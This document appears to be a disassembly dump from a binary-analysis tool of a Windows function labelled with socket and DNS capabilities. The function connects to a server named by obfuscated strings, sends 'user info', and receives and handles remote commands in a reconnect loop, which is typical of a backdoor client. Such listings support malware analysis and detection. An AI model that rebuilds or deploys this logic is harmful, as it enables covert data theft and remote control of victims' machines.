Function at 0x1400098f0
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x5e0]
sub rsp, 0x6e0
mov rax, qword [0x140019040]
xor rax, rsp
mov qword [rbp + 0x5d0], rax
xor r14d, r14d
mov esi, r14d
mov dword [rbp - 0x70], r14d
call fcn.140002cc0
mov ecx, 0x202
lea rdx, [rbp + 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140009985
mov edx, eax
lea rcx, [rbp - 8]
call fcn.14000dc50
nop
mov r8, rax
lea rdx, str.WSAStartup_failed_with_error:
lea rcx, [rsp + 0x48]
call fcn.140007e30
nop
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.1400012c0
lea rdx, [0x140015be8]
lea rcx, [rbp - 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
nop word [rax + rax]
mov qword [rbp - 0x70], 0xffffffffffffffff
lea rdx, str.MWZuSZ_VITD
lea rcx, [rbp - 0x28]
call fcn.1400011e0
nop
lea rdx, str.NpUEq
lea rcx, [rbp - 0x48]
call fcn.1400011e0
nop
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rcx, qword [rbp - 0x28]
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov qword [rbp - 0x78], r14
mov qword [rbp - 8], r14
xorps xmm0, xmm0
movdqu xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
mov dword [rbp], 1
mov dword [rbp + 4], 6
lea r9, [rbp - 0x78]
lea r8, [rbp - 8]
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov ebx, eax
test eax, eax
je 0x140009b18
lea rdx, str.getaddrinfo_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007a50
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140007df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Unable_to_connect_to_server__retrying_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007a50
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000a030
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140009aa4
inc rdx
mov rcx, qword [rbp - 0x48]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009a9f
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a018
call fcn.14000ea70
mov byte [rbp - 0x48], 0
mov qword [rbp - 0x30], send
mov qword [rbp - 0x38], r14
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140009aef
inc rdx
mov rcx, qword [rbp - 0x28]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140009aea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a01f
call fcn.14000ea70
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], send
mov byte [rbp - 0x28], 0
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x140009990
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140009990
mov rdi, qword [rbp - 0x78]
test rdi, rdi
je 0x140009a42
nop word [rax + rax]
mov r8d, dword [rdi + 0xc]
mov edx, dword [rdi + 8]
mov ecx, dword [rdi + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009b68
mov r8d, dword [rdi + 0x10]
mov rdx, qword [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140009b76
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov rdi, qword [rdi + 0x28]
test rdi, rdi
jne 0x140009b30
jmp 0x140009a42
mov rcx, qword [rbp - 0x70]
cmp rcx, 0xffffffffffffffff
je 0x140009b86
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [rbp - 0x70], rbx
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, [rsp + 0x48]
call fcn.140005f30
mov rbx, rax
lea rcx, [rsp + 0x68]
call fcn.140005d90
nop
mov r8d, 1
lea rdx, [0x140012560]
mov rcx, rax
call fcn.1400072d0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x38], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], send
mov byte [rax], 0
or esi, 4
mov r9, rbx
lea r8, [rsp + 0x28]
lea rcx, [rbp - 0x68]
call fcn.140009130
or esi, 8
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140009c36
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c30
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fe8
call fcn.14000ea70
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140009c72
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009c6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009fef
call fcn.14000ea70
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], send
mov byte [rsp + 0x68], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x140009cc1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009cbc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ff6
call fcn.14000ea70
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], send
mov byte [rsp + 0x48], 0
lea rdx, str.Sending_user_info_to_the_server:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007a50
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
mov r8, qword [rbp - 0x58]
mov rcx, rax
call fcn.14000a1a0
mov rcx, rax
lea rdx, [0x140012564]
call fcn.140007a50
cmp qword [rbp - 0x58], 0
jne 0x140009d27
lea rdx, str.User_info_string_is_empty__nothing_to_send.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140009d9e
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
xor r9d, r9d
mov r8d, dword [rbp - 0x58]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_send]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140009d76
lea rdx, str.Failed_to_send_user_info._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007a50
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
jmp 0x140009da3
lea rdx, str.Successfully_sent
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007a50
mov edx, ebx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, str._bytes_of_user_info_to_the_server.
call fcn.140007a50
lea rdx, [0x140007df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x140009f3b
nop word [rax + rax]
mov ecx, eax
cmp rcx, 0x400
jae 0x14000a00b
mov byte [rbp + rcx + 0x1d0], 0
lea rdx, str.Received_command:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007a50
mov rcx, rax
lea rdx, [rbp + 0x1d0]
call fcn.140007a50
lea rdx, [0x140007df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r14
lea rax, [rbp + 0x1d0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009e50
lea rdx, [rbp + 0x1d0]
lea rcx, [rsp + 0x28]
call fcn.140008830
nop
lea rdx, [rsp + 0x28]
lea rcx, [rbp - 8]
call fcn.1400028b0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x140009eb8
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009eb3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009ffd
call fcn.14000ea70
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], send
mov byte [rsp + 0x28], 0
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 8]
call fcn.140005080
nop
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140009f19
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a004
call fcn.14000ea70
xor r9d, r9d
mov r8d, 0x3ff
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x140009de0
jne 0x140009f65
lea rdx, str.Connection_closed_by_server._Reconnecting_in_10_seconds..._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007a50
mov qword [rsp + 0x20], 0xa
lea rcx, [rsp + 0x20]
call fcn.14000a030
jmp 0x140009f9c
lea rdx, str.recv_failed_with_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140007a50
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140012564]
call fcn.140007a50
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140009fd3
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a011
call fcn.14000ea70
mov qword [rbp - 0x58], r14
mov qword [rbp - 0x50], send
mov byte [rbp - 0x68], 0
jmp 0x140009a69
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e588
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3